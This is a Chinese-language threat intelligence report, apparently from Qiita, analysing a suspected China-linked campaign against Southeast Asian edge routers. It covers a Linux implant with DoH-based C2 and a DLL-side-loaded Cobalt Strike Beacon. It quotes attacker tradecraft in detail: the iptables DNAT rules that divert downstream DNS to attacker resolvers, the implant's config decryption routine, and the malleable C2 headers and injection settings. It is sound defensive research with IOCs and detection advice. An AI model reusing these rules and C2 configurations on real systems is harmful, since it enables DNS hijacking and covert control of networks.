0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

入侵分析:中国关联威胁行为体针对东南亚边缘网络基础设施的大规模攻击行动

0
Posted at

威胁情报分析报告

入侵分析:中国关联威胁行为体针对东南亚边缘网络基础设施的大规模攻击行动

报告编号: TIR-2026-0525-SEA
发布日期: 2026-05-25
威胁行为体: 疑似中国关联攻击集群(未命名)
目标区域: 东南亚
目标行业: 网络基础设施(边缘路由器/网关设备)
严重等级: 严重
TLP: AMBER


核心发现

一个中国关联入侵集群被发现正在对东南亚地区的边缘网络设备实施大规模攻击行动。攻击者将定制化 Linux ELF 植入体(router.elf)直接部署于受害单位的边界路由器上,通过 DNS over HTTPS(DoH)建立持久化命令与控制(C2)通道,同时武器化路由器的 iptables 子系统对下游 DNS 流量实施规模化劫持。

关联发现的 Windows 端攻击手法采用破解版 Cobalt Strike 4.4 Beacon,通过 DLL 侧加载(version.dll)投递,与路由器植入体共享完全一致的 C2 基础设施和流量伪装配置——确认为统一作战控制。

本次行动体现出攻击者刻意选择攻击网络基础设施而非终端的战略意图,使其能够:

  1. 完全规避终端检测与响应(EDR)解决方案
  2. 对经过设备的所有网络流量保持可见性和控制权
  3. 对受害路由器下游的所有设备发起后续攻击(DNS 投毒、供应链劫持、凭据窃取)

威胁行为体画像

属性 评估
关联国家 中华人民共和国(PRC)
置信度
动机 情报收集 / 持久化访问
能力等级 高级(定制化植入体开发、跨平台工具链、基础设施层攻击手法)
目标范围 使用 Linux 系统边缘路由设备的东南亚组织机构

归因依据:

  • 植入体二进制文件中嵌入中文字符串(设置非阻塞模式失败
  • C2 通信配置中硬编码 Accept-Language: zh-CN
  • 破解版 Cobalt Strike License ID 666666666 —— 该特征在中国关联攻击行动中持续出现
  • C2 基础设施注册模式与已知中国关联集群一致
  • 作战节奏与目标选择符合中国在东南亚地区的战略情报利益

攻击行动全貌

┌─────────────────────────────────────────────────────────────────┐
│                       攻击链架构                                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                   │
│  ┌──────────────┐     ┌──────────────┐     ┌──────────────┐     │
│  │  边界路由器   │────▶│  DNS 劫持    │────▶│  下游受害者   │     │
│  │   (root)     │     │  (iptables)  │     │              │     │
│  └──────┬───────┘     └──────────────┘     └──────────────┘     │
│         │                                                         │
│         ├── router.elf(定制化 RAT,DoH C2)                     │
│         ├── client_rc_start(冗余后门)                           │
│         └── iptables DNAT 规则 + ipset "evil_fix"                │
│                                                                   │
│  ┌──────────────┐                                                │
│  │   Windows    │                                                │
│  │    终端      │── version.dll(DLL 侧加载 → CS Beacon)       │
│  └──────────────┘                                                │
│                                                                   │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │                 共享 C2 基础设施                            │   │
│  │  specialclouds.com/top │ contextlayerrun.com              │   │
│  │  namefilecode.com │ valuecode.top │ perfectgo.top         │   │
│  │  URI: /api/v1/get (轮询) │ /api/v1/post (回传)           │   │
│  └──────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────┘

技术分析

植入体:router.elf

属性
平台 Linux x86-64
类型 ELF PIE, static-pie linked, stripped
大小 480,480 字节
编译器 GCC 11.2.1
加密库 mbedTLS(静态链接)
MD5 6401cdc783b4afcbcc294954b4cc5dd2
SHA256 6a43de021fa79dc3eb5f6ed509b605ef617f56af7de8b136698e5dd86c7775ae

对抗分析技术:

  • 静态链接消除共享库依赖
  • 符号剥离移除所有调试信息
  • PIE 编译随机化加载地址
  • 多层配置加密(XOR + Xorshift PRNG 流密码)
  • 敏感字符串 XOR 0x5a 混淆

C2 配置加密算法:

植入体使用自定义流密码保护嵌入式 C2 配置:

  1. .data 段读取 12 字节加密种子(偏移 0x240)
  2. 使用硬编码密钥 BOOTKEYSlot! 对种子进行 XOR 解密
  3. 解密后的 12 字节初始化三个 32 位 Xorshift PRNG 状态变量
  4. PRNG 密钥流结合 ROR 旋转操作解密 6,132 字节配置数据
; BOOTKEYSlot! XOR 种子解密 (0x80c1)
80c1: mov    rax, [rip+0x26b198]        ; 加载加密种子
80cd: lea    rcx, [rip+0x26b17c]        ; rcx = "BOOTKEYSlot!"
80e5: mov    dl, [rax+rbx*1]            ; dl = seed[i]
80e8: xor    dl, [rcx+rax*1]            ; dl ^= key[i]
80f2: cmp    rax, 0xc                    ; 循环 12 次

; Xorshift PRNG 解密主循环 (0x812c) — 1533 次迭代
8140: mov    eax, esi                    ; eax = PRNG 状态
8142: shl    eax, 0xd                    ; xorshift 步骤 1
8145: xor    eax, esi
8149: shr    esi, 0x11                   ; xorshift 步骤 2
814c: xor    eax, esi
8150: shl    esi, 0x5                    ; xorshift 步骤 3
8153: xor    esi, eax
815d: xor    eax, r8d                    ; 组合状态
8163: xor    eax, esi                    ; XOR 密钥流
8165: ror    eax, cl                     ; 按计数器旋转

解密后的 C2 配置(摘录):

  0x012e: contextlayerrun.com,/api/v1/get    [C2 域名 + GET 路径]
  0x0234: Mozilla/5.0 (Windows NT 10.0; ...)  [User-Agent]
  0x0339: /api/v1/post                        [POST 路径]
  0x048e: Accept: */*                         [HTTP 请求头]
  0x04a0: Accept-Language: zh-CN,zh;q=0.9     [语言标识]

字符串混淆(XOR 0x5a):

敏感运行时字符串使用单字节 XOR 0x5a 编码,动态解码:

; 运行时 XOR 0x5a 解码 (0xc911)
c911: mov    dl, [rcx+rax*1]            ; 读取编码字节
c919: xor    edx, 0x5a                   ; XOR 0x5a 解码
c91c: mov    [rsp+rax*1+0x3b], dl       ; 存储解码结果

示例:75 2a 28 35 39 75 29 3f 36 3c 75 3f 22 3f 5a/proc/self/exe

DNS over HTTPS(DoH)解析:

植入体通过 Cloudflare DoH 解析 C2 域名,绕过传统 DNS 监控:

; 加载 DoH 解析器主机名 (0x954c)
954c: lea    rsi, [rip+0x46605]          ; "cloudflare-dns.com"
9556: call   0x15186                      ; 设置 TLS 主机名

; 构造 DoH POST 请求
958a: lea    rcx, [rip+0x465da]          ; "/dns-query"
95a1: lea    r8, [rip+0x465b0]           ; "cloudflare-dns.com"
95b7: call   0x45f60                      ; snprintf 构造 HTTP 请求

植入体 C2 通信配置:

参数
C2 域名 contextlayerrun.com
端口 443/TCP (HTTPS)
GET URI /api/v1/get
POST URI /api/v1/post
回连间隔 ~50,000 ms (50秒)
DNS 解析 DoH via cloudflare-dns.com
TLS 库 mbedTLS(内嵌)

路由器 DNS 劫持(iptables DNAT)

攻击者在受害路由器上植入持久化 iptables NAT 规则,将所有下游 DNS 流量重定向至攻击者控制的伪造解析器:

DNAT  udp  --  0.0.0.0/0  0.0.0.0/0  udp dpt:53  to:8.213.217.130:8090
DNAT  udp  --  0.0.0.0/0  0.0.0.0/0  udp dpt:53  to:47.81.37.109:8090
DNAT  all  --  0.0.0.0/0  0.0.0.0/0  match-set evil_fix dst  to:23.254.129.112
规则 协议 触发条件 重定向目标 用途
1 UDP 目标端口 53 8.213.217.130:8090 主恶意 DNS 解析器
2 UDP 目标端口 53 47.81.37.109:8090 备用恶意 DNS 解析器
3 ALL 命中 ipset evil_fix 23.254.129.112 针对特定目标的定向流量重定向

作战效果:

  • 完全控制路由器下游所有设备的 DNS 解析结果
  • 使用非标端口 8090 规避基于 53 端口的 DNS 安全审计
  • 动态 ipset(evil_fix)支持针对性劫持软件更新通道、安全厂商域名或特定受害者流量
  • 确认攻击者已获取网络设备的 root 级别访问权限

路由器冗余后门:client_rc_start

属性
文件名 client_rc_start
MD5 92ED4D259940D4294190E60ADD5CC587
角色 受害路由器上的冗余持久化后门

router.elf 协同部署,确保主植入体被发现清除后仍可维持对设备的控制。


Windows 端 Cobalt Strike Beacon(DLL 侧加载)

攻击者通过破解版 Cobalt Strike 4.4 Beacon 将攻击从网络基础设施延伸至 Windows 终端,采用 DLL 侧加载方式投递。

投递机制:

组件
侧加载 DLL version.dll(MD5: 20C196FD5CF9A4845D048006321A52B8
宿主进程 CrashReport.exe / CrashReport64.exe
注入路径 (x86) %allusersprofile%\CrashReport\CrashReport.exe
注入路径 (x64) %allusersprofile%\CrashReport\CrashReport64.exe

Beacon 配置:

参数
Beacon 类型 windows-beacon_https-reverse_https
CS 版本 4.4(破解版,License ID: 666666666
睡眠时间 50,000 ms (50秒)
抖动 30%
端口 443 (HTTPS)
代理 IE 设置

C2 服务器:

域名 方法 URI
specialclouds.com GET /api/v1/get
specialclouds.com POST /api/v1/post
specialclouds.top GET /api/v1/get
namefilecode.com GET /api/v1/get

Malleable C2 配置(HTTP 请求头):

GET 请求:
  User-Agent    : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/536.36
                  (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
  Content-Type  : application/*; charset=utf-8
  Accept        : */*
  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  Accept-Encoding: gzip, deflate
  Priority      : u=1, i
  Cookie        : _UK=<Base64URL 编码的 Metadata>

POST 请求:
  [与 GET 请求相同的请求头]
  Cookie        : _ZF=<Base64URL 编码的 Session ID>

进程注入配置:

参数
初始内存保护 PAGE_READWRITE
执行内存保护 PAGE_EXECUTE_READ
最小分配内存 10,192 字节
线程入口点 ntdll!RtlUserThreadStart

RSA 公钥:

30819f300d06092a864886f70d010101050003818d00308189028181009793f0
6442851056a387957c4189a34110f5fff6172fb8684c6785b437f2989a6cbba3
728927ba0940a9aad6e595aeb9fd56925386f5179dbe47a30803f35f2e0a6f48
aecda3c0a9f1ec91f6ac6ff206f44e4723ad144daaa53a5b8182133e4ce69e02
f8973ffe95079e08fa4348e65167194ceacef0209a70832c4857a5e701020301
000100

DNS Beacon 策略:

参数
策略 轮询(模式 2)
失败阈值 5 次失败后切换
轮换超时 无限制 (-1)
失败超时 无限制 (-1)

跨平台基础设施关联

路由器植入体与 Windows Cobalt Strike Beacon 共享以下指标,确认为统一攻击者控制:

指标 router.elf CS Beacon
User-Agent AppleWebKit/536.36 ... Chrome/135.0.0.0 完全一致
URI 模式 /api/v1/get, /api/v1/post 完全一致
Cookie 标识 _UK=, _ZF= 完全一致
睡眠间隔 50,000 ms 50,000 ms
C2 域名 contextlayerrun.com specialclouds.com/top(共享基础设施)
端口 443 443
语言标识 zh-CN zh-CN

失陷指标(IOC)

文件指标

文件名 MD5 说明
router.elf 6401cdc783b4afcbcc294954b4cc5dd2 Linux 路由器 RAT(主植入体)
router.elf SHA256: 6a43de021fa79dc3eb5f6ed509b605ef617f56af7de8b136698e5dd86c7775ae
client_rc_start 92ED4D259940D4294190E60ADD5CC587 路由器冗余后门
version.dll 20C196FD5CF9A4845D048006321A52B8 CS Beacon DLL 侧加载载荷

网络指标

C2 域名:

域名 用途
contextlayerrun.com 路由器植入体 C2
specialclouds.com CS Beacon C2
specialclouds.top CS Beacon C2
namefilecode.com CS Beacon C2
valuecode.top 关联 C2
windowsweatherkb.top 关联 C2
function.windowsoftmessages.com 关联 C2
perfectgo.top 关联 C2
safelyhome.top 关联 C2
discovercoded.com 关联 C2

C2 IP 地址:

IP 端口 用途
8.211.130.16 443 C2 服务器
8.213.217.130 8090 恶意 DNS 解析器(主)
47.81.37.109 8090 恶意 DNS 解析器(备)
23.254.129.112 流量重定向节点(ipset 目标)

C2 URI 模式:

GET  /api/v1/get
POST /api/v1/post

网络特征签名:

指标
DoH 解析器 cloudflare-dns.com/dns-query(非浏览器进程发起)
User-Agent 异常 AppleWebKit/536.36(合法版本为 537.36)
Cookie 标识 _UK=(GET 元数据), _ZF=(POST 会话)
ipset 名称 evil_fix(受害路由器上)

MITRE ATT&CK 映射

战术 技术 编号
初始访问 利用面向公众的应用 T1190
执行 命令和脚本解释器:Unix Shell T1059.004
持久化 启动项/自启动执行 T1547
持久化 流量信号 T1205
防御规避 混淆的文件或信息 T1027
防御规避 加密通道 T1573
防御规避 劫持执行流:DLL 侧加载 T1574.002
发现 系统信息发现 T1082
发现 文件和目录发现 T1083
收集 本地系统数据 T1005
命令与控制 应用层协议:Web 协议 T1071.001
命令与控制 协议隧道(DoH) T1572
命令与控制 动态解析 T1568.002
数据渗出 通过 C2 通道渗出 T1041
影响 网络拒绝服务(DNS 劫持) T1498

处置建议

紧急行动(关键)

  1. 审计所有边缘路由器和网关设备 —— 检查 iptables NAT 规则中是否存在未授权的 DNAT 条目;搜索名为 evil_fix 或类似的 ipset 集合
  2. 在边界防火墙和 DNS 黑洞中封禁所有 IOC 域名和 IP
  3. 在所有 Linux 网络设备上排查 router.elfclient_rc_start(路由器、防火墙、负载均衡器)
  4. 扫描 Windows 终端 —— 排查 version.dll(MD5: 20C196FD5CF9A4845D048006321A52B8)及 %allusersprofile%\CrashReport\ 目录下的 CrashReport.exe
  5. 验证 DNS 完整性 —— 将内部解析器的 DNS 响应与已知权威应答进行比对

检测机会

  1. 非浏览器 DoH 流量 —— 对非 Web 浏览器进程连接 cloudflare-dns.com:443 的行为告警
  2. User-Agent 异常 —— AppleWebKit/536.36 为错误版本号(正确为 537.36),可作为签名特征
  3. iptables 审计 —— 对路由器 NAT 规则进行定期完整性检查;对 UDP/53 DNAT 到非标端口的行为告警
  4. Cookie 模式 —— 检测向未知域名发送含 _UK=_ZF= Cookie 字段的 HTTP 流量
  5. Cobalt Strike 特征 —— 命名管道模式、CrashReport.exespawnto 进程创建行为

加固建议

  1. 对所有边缘网络设备实施固件完整性监控
  2. 限制网络设备管理访问(带外管理、多因素认证)
  3. 在解析器层面部署加密 DNS(DoT/DoH)以防止下游劫持
  4. 启用 iptables 规则变更日志记录和告警
  5. 将网络设备管理平面与数据平面隔离

附录:加密配置存储

.data 段原始加密数据(文件偏移 0x73240):

00073240  17 ba 32 3a 8b 9b f0 cd 70 28 94 eb 8d 17 b4 2f  |..2:....p(...../|
00073250  42 4f 4f 54 4b 45 59 53 6c 6f 74 21 00 00 00 00  |BOOTKEYSlot!....|
00073260  59 58 02 1a 81 df 9a 83 6f c8 80 91 06 b3 ad a8  |YX......o.......|
00073270  db 05 e7 5a 80 34 46 91 a3 88 65 f1 42 ff f6 bc  |...Z.4F...e.B...|
00073280  0c a4 80 3a 69 6c 8e 0a 78 fe 33 83 c2 6c 70 a3  |...:il..x.3..lp.|
00073290  e1 57 91 83 cd 89 e3 0d c1 e2 a1 2c 31 a2 5d fb  |.W.........,1.].|
000732a0  e0 a0 4f 9f 7a 5a 3a c2 23 cd da 97 c9 82 7a 26  |..O.zZ:.#.....z&|
000732b0  9d a5 91 26 5a 27 45 41 ad c1 fa 8a d4 fe 77 fd  |...&Z'EA......w.|

DoH 配置字符串(文件偏移 0x4fb50):

0004fb50  31 2e 31 2e 31 2e 31 00 63 6c 6f 75 64 66 6c 61  |1.1.1.1.cloudfla|
0004fb60  72 65 2d 64 6e 73 2e 63 6f 6d 00 2f 64 6e 73 2d  |re-dns.com./dns-|
0004fb70  71 75 65 72 79 00 50 4f 53 54 20 25 73 20 48 54  |query.POST %s HT|

XOR 0x5a 编码字符串(文件偏移 0x4fed8):

0004fed0  00 00 00 00 00 00 00 00 75 2a 28 35 39 75 29 3f  |........u*(59u)?|
0004fee0  36 3c 75 3f 22 3f 5a 00 1e ce fb ff 2d ce fb ff  |6<u?"?Z.....-...|

报告结束

0
0
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?